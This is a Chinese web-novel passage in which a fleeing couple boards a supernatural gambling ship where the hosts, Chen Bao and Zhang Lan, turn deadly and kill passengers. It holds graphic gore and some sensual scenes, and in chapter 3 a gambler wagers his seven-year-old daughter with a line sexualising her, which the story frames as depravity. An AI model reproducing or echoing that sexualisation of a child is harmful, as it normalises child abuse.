《关于我妻子的一切》
1. 关于他们
“我还有一张船票,你愿意跟我走吗?”
“我们逃到海的另一边,逃到一个他再也找不到的地方。”
“林小姐,请你,一定要收下这张船票。”
夜色如墨,暴雨倾盆,煞白的闪电从天边划裂,像只吞咽天色的猛兽随时会从黑夜中奔驰下来惩罚今夜不遵守规定的人。
风雨越大,越是蠢蠢欲动,可究竟是人在动,还是深埋在躯壳之下的灵魂在同频共振。
今晚的雨疯了一般砸下来,如同垂落战场的子弹,所到之处风雨飘摇,破败荒凉。
残暴、□□、贪婪、谎言、疯狂,似乎在这黑夜之下的风雨中一切都变得合理。
周围的一切破败不堪,黑夜中的庄园伫立在夜色深处,像站在深渊中的恶魔静静注视着一切。
庭院里玫瑰开得依旧娇艳,雨水从花蕊中慢慢滑落,一滴一滴砸在地上,在这雨夜中美极了。
女人带着冷冽的风从庭院跑过,脚步慌乱踩在雨洼里溅起了污泥,污水溅到玫瑰花上,紧接着又被夜里奔跑的一抹身影绊过,刚才还娇艳的玫瑰瞬间颓败,片片花瓣落到地上顺着雨水四处散落。
庄园外的夜色中,男人身影硬挺身旁暴风雨为他添了几分硬朗,望向庄园的眼眸晦暗深沉,雨水从他眉间滑落。
大雨下到了深夜,他站在雨中一动不动始终望着庄园的方向,身上的衣物被雨水冲刷露出若隐若现的线条。
男人一只手捏着裤兜里的船票,只要船票没有湿就还有机会。
随着时间越来越近,那双黑眸中划过微弱的闪烁。
带她走,是他今晚唯一的信念。
雨势不见落幕,夜色中又有几道闪电伴着雷鸣划开,夜里光影掠过男人的脸庞,他一双眼眸中落寞又期待,指尖紧捏着船票。
眼前闪电划过,映出女人纤薄的身影,她来了。
女人出现的瞬间,男人眼中的落寞融化,被雨水冲刷得僵硬的嘴角抿开,他的脚步不自觉往前。
“陈昼,带我走。”
庄园的门打开,铁门碰撞的声音在大雨里被淹没,林湫暮来到男人面前,她的手里捏着那张船票,另一只手抓过了他的手。
女人眉眼浓艳容颜极美,在夜里散发着致命的冷艳,只是这摄人心魂的容颜中透着焦急。
一道电闪雷鸣划过两人脸庞。
“我带你走。”
陈昼反手握住她的手,眼神坚定,他像个视死如归的战士。
雨夜里,两人的身影紧紧跟随,庄园逐渐被他们甩在身后。
庄园中一切都没变,只有那朵被林湫暮绊落的玫瑰花落在地上,四散开来。
他盯着那朵玫瑰看了许久,越看,就越能想起些什么。
手里的红酒轻轻摇晃,与楼下那朵被踩碎的玫瑰相衬。
亲爱的,你怎能如此狠心,头也不回地就跟他走了,你好歹看看那片我们曾经一起栽种的玫瑰,毕竟你曾经,是那样的喜欢。
这场雨来得真是时候,这是上帝要惩罚那些犯规的人了。
庄园的楼上,男人轻轻抿着嘴角,黑眸中的幽潭深不见底,他望见方才窗外的一切,这一幕场景像是在他面前已经上演了无数遍。
手里的红酒杯随着修长的手指垂落,如血一般的液体慢慢滑落,酒杯从指尖松开一滩浓稠如血的液体蹦落在窗前,染红了一片。
他伸手缓缓触摸到带着血腥味的液体,指尖被沾到的瞬间,他勾起唇角看向血污滑落的窗外。
摔落的红酒杯还流淌着浓稠诡异的红色液体,仔细闻,是血的腥味。
他含住指尖的那滴血,眼里散发出病态的欣慰。
“你还是走了。”
夜色里,看不清男人的轮廓,只有电闪雷鸣间的光影能隐隐看出他的身影。
庄园的玫瑰破败了,玫瑰花瓣顺着夜里的雨水四散。
这一夜,像战场的遗迹。
今夜的雨不见停歇,海里卷起阵阵巨浪,靠在海岸边的船灯火通明,随着海浪阵阵摇晃,在黑暗中里面的世界似乎别有洞天。
船上不时发出欢笑声,竟没被这震天的雷电雨声盖过去,泛黑的海水一层接着一层卷过,船身在海面上摇摇晃晃。
黎明前,这艘船就该启航了。
好在夜色尽头处两人在黎明降临前赶到了。
这时进船的人已经很少,只有一个老头站在船头招呼两人上船,他们手里的船票又湿又破,老头只看了一眼什么也没说不耐烦地招手让人快进去。
踏上船的那一刻两人都松了口气,雨水从他们身上划落贴在身上的衣物勾勒出线条,两具身体紧紧相依,海浪上,他们像两个亡命之徒开怀大笑。
一波海浪拍打过船身
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,摇晃的两具身影相撞摔倒在船上。
他们疯了,不管不顾地相拥在一起。
男人身材硬朗高大,衣物下的肌肉线条明显,一只大掌环过女人腰间他仔细凝视着女人的眉眼面庞,雨滴在女人脸上,他轻轻抚开,细致认真地摩挲着每一寸肌肤。
林湫暮仰头看着眼前的男人,薄唇微微张开,发丝间淡淡的玫瑰香气萦绕在两人中间,她眉眼魅惑只淡淡望着他便媚态横生,在这逃离的雨夜中增添了难言的韵味。
陈昼摩挲着女人的脸庞,俯身含住她的唇瓣,轻咬探入舌尖缓缓试探,鼻尖萦绕着幽幽的玫瑰香气让人沉醉其中。只是轻微的试探,他不敢探入过深,腰间大掌缓缓收紧,舌尖刚触碰到软嫩便被没有章法地慌乱迎入,小舌勾着他一点点深入,逐渐加深这个吻。
船头跌落的两具身影缠绵相吻在雨夜中慌乱急促,他们着急地向对方寻找着什么。
收票的小老头靠在角落处远远望着船上的两人,鼻尖稀疏的胡子被风吹动,老头耸了耸鼻子撇过眼,这光天化日...哦不,黑天化日之下真是有伤风化。他侧过矮小的身子望向远方,眼见天边露出第一道晨光,停在海边的船飘摇不定,他拉动绳索,船头的阶梯慢慢收起。
“各位乘客,注意启航时间已到,船要发动了!”
小老头声音尖细,喊起来格外刺耳。
海浪之上一艘巨型海船发出鸣笛,几层船舱亮如白昼照出海面汹涌的巨浪。
大船在海浪正式前行缓缓远离岸边,船上的声音逐渐消散,慢慢平静。
雨还在下,原本黑沉无际的天浮现出灰蓝。
天色一片灰蒙,不知怎的船舱内的声音渐渐小了,大概是闹了一夜都去休息去了?
老头还站在船头望着远处的天,摸了摸鼻尖下的几缕胡子转过身子,船舱里走出两男两女,脸上都带着各自的餍足慢悠悠走到船头。
“这是在船头守了一夜?你这老东西。”
小老头听到这话笑了起来:“彼此彼此,你们也玩了一晚上。”
船头的五人神情满足,显然在这一夜里都玩得尽兴,几人的笑声回荡在整个海面之上,雨水冲刷着船身,落到他们身上却不见雨水打湿的痕迹。
远处天边黎明将现,灰蓝的天色笼罩在整片海域之上。
“愿这风浪不停,战火不息。”
2. 关于他们
雨水顺着男人的喉结砸在地上,静谧的房间外只有水滴落的声音。
她脱下身上黏湿的衣物,衣料一点点褪下露出白皙如玉的肌肤锁骨处泛出红润,女人赤裸着看向紧闭的门口,含泪的眼眸清冷妖冶。
林湫暮拿起桌上的烟点燃,火光在她眼中摇曳,窗外的狂风暴雨仍未停歇。
门口没有声音,但她知道门外有人,陈昼一直都在。
烟雾缓缓升起遮住了女人的侧脸,魅惑又迷人,这副画面实在美艳至极。
上船后陈昼一直站在门外,像个痴情忏悔的信徒。
林湫暮想起了那个陪伴自己许多年的男人,他们有过所有美好的一切,年少相知,携手相伴,直到离开的前一夜,男人给她倒了一杯安眠的红酒直到她入睡才轻声离开。
可变心了,又不是什么值得谴责的事,她想现在这样是最好的,她从丈夫的世界里消失了,并且永远不会再见面,他们之间没有虚伪的和平分手,没有纠缠不休的感情纠葛。想着,她轻轻勾起红唇,吐出了口中的烟雾,夜色撩人。
房间外走过几个端着餐盘的人,笑声回荡在走廊上。
陈昼抬起头看着紧闭的门,眼底闪烁过无数情绪,身侧的双拳握紧只恨不能推门而入,看看他心心念念的人怎么样了。
今夜开始,他的整个人所有的一切都只属于房间里的那个女人。
船上没有安静多久又恢复了热闹,大堂里的人形色各异,有聚在一起群魔乱舞的男男女女,有站在赌桌前声目光炽热的赌徒,有大笑着从餐厅里端出餐盘疯狂进食的旅客,船上的人分散在各个角落,好不热闹。
环顾了一圈,陈昼走到一处吧台前,这里相比起来倒是显得比较冷清。
吧台前站着一个身材高挑浓妆艳抹的女人,手上正拿着酒调配动作娴熟,明蓝色的酒液被倒入一杯清酒中瞬间绽放出晕蓝,几滴鲜红的酒液滴入不自觉吸引人盯着这杯酒。
“老板娘,来杯酒。”陈昼坐到吧台前,往四周看了一眼,没有什么人来。
老板娘抬头看了眼吧台前的男人,红唇扬起端起新调试好的酒放到他面前,语调轻柔:“小先生,我们这里的酒都需要赌赢我才能喝哦。”
“赌?”
陈昼皱起眉。
“只要小先生赌赢我,我身后的所有酒你想喝多少就有多少,怎么样?”老板娘眼神轻眯凑近男人。
“如果小先生还想要什么东西,都需要先赌赢持有人才能拿到。”老板娘善意地提醒眼前这位看起来还有些疑惑的客人。
“我用钱买,不行吗?”
女人抬起头像听到什么新奇好笑的事,身子微倾笑了起来。
“钱?用钱买来的东西可不会让人觉得珍贵,我这酒,放在从前那是别人想求也求不来的救命宝贝。”
陈昼心中升起怪异。
“小先生,赌吗?”女人手中的酒杯摇晃。
他本来也只是想来喝点闷酒,坐都坐下了,不如听听怎么个赌法。
“怎么赌?”
“很简单,从现在开始连续猜中从门口进来的三个人是男是女就算你赢。”
船舱的门被风吹得摇摇晃晃,地面被雨水打湿。
“好,我赌。”
“赌约既成,不可更改。”吧台里的老板娘看着陈昼口中轻念。
这会儿进来的人不多,天蒙蒙亮的时候正是普通人睡得最沉的时候,门还在吱呀乱晃,外面的风雨一刻不停。
隐约能看见天色依旧暗沉无光,看不出这雨究竟几时会停。
“第一个进来的人会是个男人。”陈昼望向门口的方向神情淡漠,似乎对这场赌局不是很在意。
老板娘轻抿出笑,打开一瓶酒重新调试。
过了大概十来分钟门被推开,一名西装革履的男士把伞放在门口张望了一圈迈步走进大堂。
这位男士从吧台前路过时老板娘眼尾上扬笑起来:“小先生猜对了第一个人。”
最开始调试好的那杯酒依旧放在他面前,陈昼挪开眼,“我猜下一个进来的会是个女人。”
“难度升级了哦,是个穿裙子的女人还是穿毛衣的女人。”
他拧了下眉,想起刚才赌局前女人说的“赌约既成,不可更改”,这船上的人做事奇怪,如今他和林湫暮人在船上,还是少生事端。
“是个穿毛衣编织裙的女人。”
话音刚落,门口一阵冷风袭来,阴恻恻的寒风让里面的人陡然一哆嗦。
一个身着淡黄色毛衣编织裙的女人浑身湿透径直朝着船舱里侧走来,地上留下一行水渍。
她习惯性地与吧台前的老板娘打了个招呼,女人一头黑长的湿发,本就清淡的脸蛋衬得愈发楚楚可怜,再加上浑身上下都被雨水淋透了更显得弱小无助,周围人群里有人侧眸往这边打量起来。
那女人与吧台老板娘显然认识,陈昼见她上了楼梯朝着休息区走去。
耳边响起清脆的掌声,是老板娘,她红唇的弧度愈发明显,手上端着调试好的第二杯酒:“那就提前恭喜小先生赢下赌约。”
经过上一局,陈昼自然不会以为真的那么容易就赢了。
果然。
“下一局,还请小先生猜出下一个人的性别以及他会往哪里走。”
老板娘悠悠地撑着头指了指刚才女人离开的楼梯方向又移开眼看向赌桌的方向:“是往这里走,还是往那里走,还是”她笑了笑,“还是来我这小地方喝喝酒。”
酒杯里渗出水珠往下滑落,陈昼盯着酒杯一阵恍惚,这酒真是奇怪,光是看着就让人有了醉意。
离赌桌不远处有一节不大显眼的小楼梯,有时候会看见几个船员顺着楼梯下去。
赌桌前不知何时聚了一群人,围在中间的好像是刚才第一位进来的男士,他穿着西装站在人群中身材挺拔,格外突出。
一阵安静后,赌桌上应该是开了牌底,顿时响起吵闹声。
西装男看到牌底的瞬间挑了挑眉,嘴角的笑意逐渐展露,吧台前能听见那男人的笑声,甚是骇人。
“我赢了,是我的,都是我的。”
对面的赌徒捂着脸颤抖着被后面的人推开,那副模样活像失魂落魄的街头流浪汉。
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后面早就等着一堆跃跃欲试的人,一个流浪汉下了赌桌又有无数的人争先恐后挤上去。
“我来,我来。”
西装男见此情形显然更兴奋了眼中狂热不止,与最开始雨中而来的绅士模样相差甚大。
环顾四周,现在船上最热闹的莫过于那边的赌桌,陈昼撇过眼随手往赌桌一指,“往那边去。”
“哪边?”老板娘顺着他手指的方向看去,笑着问。
陈昼不知哪来的醉意,指尖晃了晃有些不稳地往赌桌方向指去,顺着望过去就差了分毫指到赌桌旁的小楼梯去了。
“那儿?”她顺着男人手指的方向望去。
“嗯。”
他放下手点了点头,输就输了吧,他察觉出这地方不对只想赶紧离开。
女人看着那方向不知在想什么,手上开始调试第三杯酒。
酒液偏红却不是十分浓稠的红,反倒是在微暗的灯光下显出诡异的美感,老板娘打开另一边的清酒倒入,酒味瞬间散发开来。
酒香扑鼻,陈昼有半晌沉浸在这酒味中没回过神来,他猛地睁开眼发现头上的圆钟竟然已经过了半个小时。
老板娘的酒也调好了,淡红的酒液放到他面前,女人看上去心情很好丝毫不在意赌约会不会输,抿着红唇看了眼桌上的三杯酒。
“小先生要是喝了觉得不错,以后可要常来,顺便带上房里的那位夫人和你一道来才好。”
说到这里陈昼放在桌上的手微微蜷起,心中的不安加深。
“夫人?”
“就是和小先生一起进来的那位漂亮极了的夫人啊,看样子你是”
老板娘停顿了下打量了几眼面前的男人,“那位夫人身边的保镖吧。”
“我”陈昼口中含住一个字不知从何说起。
关上的门再次被打开,这次进来的是一个男孩,看样子20出头,手里拿着一把...被烧毁了一半的黑伞,他进来打量了几眼大堂四周,看到赌桌时眼中被点亮,嘴边扬起笑来透露出几分少年气。
男孩朝着赌桌走过去,随后径直路过打量了下那节不起眼的小楼梯顺着楼梯下去了。
吧台前的两人望着那方向,眼神晦暗不明。
陈昼低下头一言不发,站起身准备离开。
“稍等,小先生,酒,你不喝了吗?”老板娘端起其中一杯酒,眼尾上扬闪着异样的兴奋。
“刚才进来的人没有去我指的地方。”
女人蹙眉说:“那孩子去了船舱楼下,可不就是小先生刚才指的地方吗?”
“我指的地方?”
陈昼脑袋有些疼,感觉到一股迷人的醉意。
“我这地方虽小,可不做出尔反尔的买卖,小先生还是先喝了桌上的三杯酒再另寻赌桌。”
陈昼脑子里意识模糊逐渐有些站不稳,唯独桌上的几杯酒清晰地放大在眼前。
“轰”地一声门外寒风灌入,吧台前陈昼原本醉意上头忽然被这股寒风冻得清醒起来,此时手上原本满杯的酒不知何时成了空杯。
有人跌跌撞撞地跑了进来。
3. 关于他们
是昨天夜里站在船头的小老头,老头身材矮小站在船头检票时没人会注意他的模样,直到这时陈昼才看清楚这人的长相,很普通的一张脸,奇怪的是已经见过两次脑子里却完全记不住这张脸。
即使再普通的大众脸也不至于在面对这人时脑中完全模糊,刚才那杯酒不知何时被喝完,口中充斥着酒味。
喝下这杯酒陈昼反倒清醒了,没有了刚才的飘忽迷离,淋了一晚上的身体涌上一股暖意,体力竟也在慢慢恢复。
老板娘还在吧台前观察着他的反应,陈昼以为要把最后两杯酒喝完才能走,她忽然抬手往赌桌的方向指过去。
“小先生既赢了我,不如去那边试试,能赢到的东西更多哦。”
赌桌前热火朝天,人比起刚才只多不少,而那位西装男站在窗边的位置赫然成为了今晚赌桌上的赌王。
陈昼看见外面天色逐渐转亮,想起刚才下来是要拿些吃的上去给林湫暮。
“比如食物、钱、女人,这些都可以从那里获取。”眼见陈昼要走,老板娘勾起红唇说给他听。
“食物?”
果然。
女人轻轻点头,眼尾舒展开来隐隐闪烁着兴奋。
“我刚才说过,这船上的所有东西都需要靠赌。”她嘴角笑意很浅,打量着男人的反应。
到了现在陈昼当然明白这不是艘普通的船,只是还需要时间弄清楚眼下的处境。
他恍惚懂了老板娘刚才说的“赌约既成,不可更改”,到船上来的人只要立下赌约就不能再停下,赌食物,因为需要食物维持生命,赌钱,因为有了钱就可以在这艘船以外的任何地方满足欲望,赌女人,因为越是在没有规则的地方越是暴露人性,如同我们来到这世上,所有的东西都需要费尽心机,这艘船更像是另一个世界,而上船的人会逐渐沦为这里的赌徒。
赌桌前,西装男淡淡看了眼手中抽到的牌便放下,随后拿起桌上的烟点燃,整个过程轻松惬意游刃有余,与对面的人截然不同。
赌桌对面的男人四十出头的样子,外表看起来老实忠厚,在外面时大概也是早上出门上班晚上回家抱孩子的顾家男人。
老实男哆哆嗦嗦地打开牌,没想到看了眼牌底抖得更厉害了,男人脸上咧开笑来眼底掩盖不住的癫狂,笑声在赌桌前回荡。
“这局我赢定了!”老实男人声音粗矿,与最开始胆小畏缩的样子大相径庭。
“是吗,那开牌?”西装男叼着烟对此丝毫不在意,指尖触碰到纸牌之际被一道吼声叫住。
对面的男人死死盯住西装男,出口道:“我要再加赌注。”
西装男口中叼着烟,一截闪着火星的烟灰落在他面前摆放的那堆东西上,赌桌上金银珠宝稀奇玩意堆成了一座小山,谁要是能在船上赢下他手里的这堆东西,下船后直接原地逆袭脱胎换骨了。
“加什么?”
“你也要加!”男人灼热的目光一刻也没离开过对面的“小山”。
西装男眉梢挑起点了点头,伸出手比划:“我的赌注加倍,不过你要加什么?”
“加倍?你是说真的!”
“当然,赌约既成,不可更改。”
赌桌规矩,一方加注另一方也必须无条件跟加,而西装男直接将原本的赌注加到两倍,毫不拖泥带水。
老实男人听到后脸上的癫狂笑意加深,围在赌桌旁的人悄悄打量起他手里的牌,实在好奇到底是什么牌。自从西装男来到赌桌上还没有输过,莫非风水轮流转,这桌上的风水也该转一转了。
“我女儿,赌注再加上一个我女儿。”
说完,在场的喧闹声轰然四起纷纷指着男人大笑,说这男人疯了刚赌了老婆现在还要赌女儿。还有人对老实男人猥琐地笑着说怪只怪他们上船时没捎个家里的老婆子。
西装男嗤笑,将手中抽完的烟蒂随手扔开。
“我要一个话都不会说的奶娃娃做什么。”
闻言,对面的老实男表情变得耐人寻味,嘴唇嗫动:“我女儿今年七岁,从小就是个美人坯子,你想必还没尝试过这种吧。”
男人显然已经沦为丧心病狂的赌徒,那堆“小山”明晃晃摆在他眼前,而他的妻子女儿现在说不定还在船舱的房间里等出去闲逛的丈夫回去。
西装男抬眼凝向男人的痴癫模样,勾起唇角。
“有趣,那就来吧。”
见西装男同意,男人早已按耐不住,赌桌上的两组牌在数道目光中慢慢翻开。
陈昼看不到赌桌上的牌,几秒后见到赌桌前的人陷入了一片安静,没过一会儿其中有人发出爆鸣。
“怎么可能,你出老千,一定是你。”老实男怒吼起来,相比起来对面的西装男则淡定得多。
“两组天顶牌?”西装男看着赌桌上同时出现的两组牌陷入沉思。
“我抽到了天顶牌,这局我一定会赢的,你,你怎么可能跟我抽到一样的牌,你,你...”说到最后男人缩起脖子来,声音逐渐变弱。
只见西装男已经缓缓离开牌桌来到男人身边,神情阴翳,周围的人忽然感受到一股骇人的威压颤颤巍巍地退开。
西装男周身散发出来的阴戾气场冰冷刺骨,陈昼坐在不远处也感受到一阵寒意。
“一局赌局怎么会出现两组天顶牌?”
老实男人已经被吓到腿软,堪堪扶着桌子才勉强站稳,“你,你出老千。”
“我说过,赌约既成,不可更改。”
西装男居高临下地睨着眼前心虚的男人,“不遵守规则可不行,你的老婆孩子都要留下,还包括你的命。”
“我的命?怎,怎么,你还敢杀人?”
这时几道低声的笑在陈昼耳边响起,是老板娘。
“一条狗命而已,在这船上不过是如粪土一般的存在。”赌桌旁的人纷纷侧目看过来,众人这才注意到门口的吧台前一直站着一个女人,女人出口时竟让人感受到一股相似的冷冽威压。
“诸位既已上了船就该遵守船上的规则,就比如刚才这个又输老婆又输女儿的男人,他犯了规在赌桌上出老千,按规矩,是该把命留在船上的。”
女人瞥了一眼瘫坐在地上的男人,眼中带着浑然天成的不屑像是在看一块垃圾,真如她所说的,在她眼里不过是粪土一般的存在。
人们渐渐回过神来见是一个女人在说话,努力忽略掉那股威压露出赌徒常有的神态开始嚷嚷:“你这女的好大的口气,刚才我们跟这男人赌输了身上什么都拿不出他就说要留下我们的命,现在我们不也活得好好的。”
每局赌局结束后,对方拿出事先承诺好的赌注便可离开,而现在留在这里的都是拿不出赌注愿意赌命的亡命之徒。
陈昼心里冒出一个丧心病狂的想法。
下一刻,老板娘的声音响起。
“我身边这位小先生刚才赢了我,我很期待他成为今天第一个赢了张蓝的人。”
在场所有人都把目光移向陈昼,明显没有当回事。
“赢了一个女人算什么...”
“老板娘,你没上过男人的赌桌是不知道这赌桌上的门道。”
“带了女人的霉运上赌桌,说不定输得比我们还惨啊哈哈哈哈
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哈...”
一个壮汉抄着口音取笑完吧台前的两人,身边的赌徒也都开始起哄笑起来。
笑声中陈昼穿过人群和西装男的目光对视上,那双眼里藏着按耐不住的激动与贪婪。
陈昼注意到老板娘刚才说出了西装男的名字。
男人拨开人群朝吧台走来,他的步伐缓慢,一步一步,眼里酝酿着浓厚的兴趣。
“我叫张蓝。”
西装男来到陈昼面前低头打量起他,随后抬起头和老板娘对视了一眼。
吧台前一直调酒的女人,赌桌前呼风唤雨的男人,他们认识。
“小先生,我叫陈抱。”
临走前,桌上还放着没喝完的两杯酒,老板娘笑意不减。
赌桌旁的无数双眼睛看着重新回到赌桌的人,他们不敢直视走在前面的张蓝,反倒毫不避讳打量起后面的男人。
陈昼身材挺拔面容硬挺自带几分气势,薄唇紧闭浑身带着戒备。
人群里有人笑了声:“小白脸一个,还不知道吧台那女的是怎么输的呢。”
又有几道笑声附和,随即望向吧台的眼神流露出几分猥琐鬼祟。
张蓝上前把上一局坐在地上还没回过神的男人一脚踢开,老实男惨叫一声被踢出几米远撞倒了后面的一群人,一堆人摔在一起骂骂咧咧站起来踢开老实男,重新围聚到赌桌前。
张蓝做出请的动作邀请陈昼到赌桌前,自己则绕到另一边颇有兴味地看向站在他对面的男人。
“我叫陈昼。”
两人分别相对而立,陈昼报上姓名,赌局正式开始。
张蓝挑眉:“爽快,赌注是什么?”
“我的命。”陈昼心脏跟着跳动了一下,他不知道赌命是否真的会把命留在这里,只能一边试探一边看情况。
对面的人摆了摆手:“我不要你的命,你明明有更好的东西可以拿出来赌。”
陈昼想到了什么表情瞬间凝滞,鹰眸望向对面的人阴沉中带着狠戾,神情骇人。
“我要你刚才从陈抱手里赢下的酒,我可是好久没有喝到了。”
整个赌桌前吵闹声不断,所有人都看向了陈昼以及吧台前摆着的两杯酒。
两杯酒?开什么玩笑,是个人都肯定会跟张蓝赌那堆值钱货,现在拿两杯酒赌,陈昼就算输了也没什么损失。
陈昼注意到张蓝身后那扇窗户透进来的天光,天都亮了。
原来他是想要那两杯酒,刚才喝过那酒确实有不寻常的地方。
只是赌两杯酒,他好像怎么都不会亏,越是这样他越感到不安。
“你要赌什么?”张蓝没有问他同不同意赌那两杯酒。
赌徒们盯着张蓝面前那堆“值钱货”眼神流转,似乎对陈昼会说出的答案完全没有悬念。
“食物。”
陈昼脱口说出。
什么?!这人疯了,放着一堆值钱货不要去要一堆吃的。
这群赌徒看向陈昼的眼神既怪异又愤恨恨不得替他上赌桌。
“可以,只要你赢了我这船上的食物你随便取。”
也就是说,船上所有的食物都归眼前这个男人所有,陈昼对此感到一阵恐惧,从张蓝进门到现在他所赢下的也只是他面前那堆东西,而要赢下船上所有的食物不知道他在船上究竟待了多少年。
也许,他不是上船的人,他本来就是这艘船上的人,和那个女人一起。
他转头看向吧台前的女人,陈抱把刚调好的酒端上桌和另外两杯酒摆在一起,察觉到远处的那道目光抬起头与陈昼对视,嘴角依旧带着笑。
4. 关于他们
桌上放着两组牌,赌桌安静下来,所有人紧盯着牌桌。
经过刚才的两组天顶牌,在场的人都知道张蓝不是普通人。
陈昼翻开面前的一组牌只看了一眼就放下了,从他脸上看不出什么反应,反观张蓝并不急着翻牌目光一直打量陈昼在身上。
“怎么样,你觉得能赢我吗?”张蓝出口问,指尖落到纸牌上。
“我不懂赌桌上的规矩,一切全看运气。”
窗外微弱的光从张蓝背后照进来,他抬眼望向陈昼,嘴角扬起笑:“说的不错,赌桌上全看运气,我已经好久没有赢过陈抱了,这局要是赢了你,也算我赢了陈抱。”
说完便听见吧台前传来女人的笑声,“这位小先生的本事可不小。”
表面上看陈抱只是在门口调酒,但实际大堂的风吹草动都被她尽收眼底。
两人之间关系不浅,陈昼却始终看不出他们的目的。
要说这是条贼船,可他们却不偷不抢甚至不用钱来交易只靠赌。
“是吗,我拭目以待。”
话落,张蓝眼神晦暗望向陈昼,他没有低头看牌,直接翻开了面前的牌。
牌被翻开,围在赌桌前的人面面相觑,这次的情况好像与之前每一次都不一样。
摆在张蓝面前的几张牌凑成了最小点数,这位自从来到赌桌就从无败绩的赌王这次竟然抽到了全场最小点数,除非陈昼也抽到了最小点数,否则哪怕他的手气再臭就算只比张蓝的点数大了一点也算赢。
在众人小声唏嘘中,赌桌前一向气定神闲的张蓝低下头看向手边被翻开的牌。
瞬间他脸色忽变,眼中透露着不可置信的惊恐。
随后陈昼也翻开了牌底。
“靠!手气这么臭也能赢。”
周围议论不断,张蓝转过头扫了一眼,霎时气压降低都把嘴闭上了。
现在说陈昼手气臭,那他算什么,臭中之臭?
滑稽的一幕是,牌桌上摆着两组牌,一组牌凑成最小点数,另一组牌只比它大了一个点。
“现在是,我赢了?”
陈昼看了眼桌上的两组牌,再抬眼时张蓝满脸阴翳怒气盯着他,如果说刚才男人周身散发的是让人胆寒的冷气,那现在让人感受到的就是不断往外溢出的怒火。
“你说的,赌约既成,不可更改。”
此话一出,张蓝脸上的表情变得迷茫起来。
空气中一阵静默。
“你小子,不要得了便宜还卖乖。”
“张先生这明显是让着你呢。”
......
赌徒们在赌桌前待久了都知道谁才是真正的大腿,这会儿正是表忠心的时候。
“是,我输了。”
起哄声中,张蓝语气颓丧,众人纷纷安静下来。
站在窗前的人逆着光,低头看向桌上的两组牌怔愣彷徨。
掌声响起,接着是高跟鞋踩在地上的声音,陈抱从吧台走来,目光放在陈昼身上。
“小先生好大的本事,竟然能赢了我们这里的赌王。”
随着女人走近,围聚在一起的人身体不受控制地让出一条路来,那群人的眼神变得迷离呆滞,陈昼皱起眉,想起刚才在吧台前也有过莫名的断片。
老板娘来到陈昼面前,女人眼波流转慢慢靠近:“好险,刚才差点你就被他给杀了。”
她说的是处于暴怒边缘的张蓝。
赌桌对面的张蓝痴痴望着两人,失了心魂一样。
“小先生真聪明,一句话就制住他了。”
“陈抱。”
“这里究竟是什么地方。”
老板娘收起笑,眼眸冷漠轻蔑,大堂里一片安静。
她缓缓开口:“战场遗骸。”
船上陷入一片死寂,竟有股杀意在四周蔓延开来。
“杀了他,陈抱,替我杀了他。”
窗前的张蓝回了神,表情阴郁悲愤对女人怒吼起来,他大步走上前故意绕开了陈昼。
“快,你替我杀了他,就再也没有人知道我输了。”
“可我也输给了他。”
一句话浇灭了张蓝的怒火。
“是啊,你也输了,我们杀不了赢过我们的人,就像先生一样。”
陈抱身上聚满寒意:“住嘴,他怎么能和先生一样。”
男人此时没有了赌桌上的风采,缩在陈抱身后默默低头。
“自己没用,还要扯上先生。”女人出声冷厉。
“是我一时说错了话。”
比陈抱还要高出半个头的男人此刻缩着头态度恭敬。
先生?陈昼察觉出这背后比他想象的还要复杂。
女人忽然扫了眼大堂里那些眼神呆滞的赌徒,勾起笑来:“这个杀不了,在场的其他人随便杀。”
闻言,陈昼眼皮跳动,难道真的要杀人,就凭他们两个要把在场所有人全杀了。
“这艘船最后要去哪里?”陈昼开口问。
陈抱的目光在人群中流转,侧目看向男人,坦诚地摊了摊手:“我们也不知道,我们只负责在船上和大家玩尽兴就好。”
玩?
没等陈昼再出口,那些人开始逐渐恢复神智,一旁的张蓝和陈抱相视一笑。
“老子的头好疼。”
“他妈的我怎么在这里,赌局结束了?”
“这女的什么时候站这里来的。”
......
大堂里恢复闹声,陈昼被前面的人推到角落,随后他开始环顾起四周。
仔细看远处跳舞的人其实一直重复着同样的动作,每个人的位置也都像是排练好的。
恢复清醒的一群人正准备回去休息。
几个男人走过瞧见人群里的陈抱,老板娘身材高挑长相艳丽,一身红裙气质扎眼。
“老板娘,去你那里喝几杯酒欢迎不?”
见状周围又有人凑上前,堆着满脸褶子笑起来:“小美女,哪里有吃的,我们边吃边聊啊。”
男人们见此场景都笑起来,眼神都不自觉往那女人身上瞧。
“诸位不急。”
陈抱勾着红唇,红裙被窗外的风吹起。
“先回答我一个问题,稍后为大家准备食物酒水。”
“好,老板娘说什么就是什么。”几个带头的男人凑上前表情谄媚猥琐。
有几人玩了一夜神态疲惫已经没有兴趣留在这里,想要打开门出去却发现打不开,陈昼站在人群角落中看向那扇从进来起就紧闭的大门。
“诸位,昨夜在船上玩得开心吗?”
玩了一夜的赌徒们听到这挥了挥手面露丧气:“自从张先生上了赌桌我们就再也没赢过。”
“就是啊。”
“都让他一个人赢了。”
闹声不断,远处正在跳舞的假人伴着音乐如同机械一般重复着动作。
“稍安勿躁,既然大家不高兴,我们就再来玩一个游戏吧,赢了的人可以得到张蓝昨晚赢得的所有东西。”
众人脸上原本疲惫的神情一下兴奋起来,“真的?”
“是要赢你还是张先生?”有人张口问道,又瑟瑟地看了眼一直没说话的张蓝。
“我。”老板娘抬起眼扫了一眼这些人。
一听只要赢了老板娘就行,他们都来了精神,刚才在后门要走的人也都返回去跃跃欲试。
现场情绪高涨,陈昼在后门角落独自注视大堂里的情形。
穿过人群,他看到被围在中间的陈抱眼眶泛红并且还在加深,那群人疯了一样争先恐后往前挤。
“游戏开始喽。”
女人语气轻柔,眉目含笑。
一抹血从男人喉间飞溅开来,血管爆裂,鲜红的血汩汩外涌,直到男人倒地众人才看见站在他面前的女人瞳孔血红,根本分不清眼眶眼珠子,活生生从里到外都是充血的变异血球。
血溅到她脸上,与那双充血艳红的血珠形成了诡异的惊悚感。
“死,死人了。”
这时有人喊起来,刚才还围聚在一起满脸兴奋的赌徒看到“变异”的老板娘立马四散开来,大堂里咒骂求饶声不断。
“妈的,这女的是怪物。”
“杀人了,真的杀人了。”
“饶了我吧,我不玩了不玩了。”
说话间又有几个人血管破裂血飞溅得到处都是,浓烈的血腥味迅速弥散,有人试图打开门才发现根本打不开。
陈昼上前和他们一起撬门,门像焊死了一样完全无法推动。
一个稍显强壮的大汉吐了吐口水,衣服上还沾着血迹,“他妈的,一个臭娘们有什么好怕的。”
大汉神情凶悍,说完就要上前,陈昼眼皮跳了跳,这人活像一副不要命的样子。
“这位大哥,那女人显然不是一般人,还是把门打开逃出去要紧。”
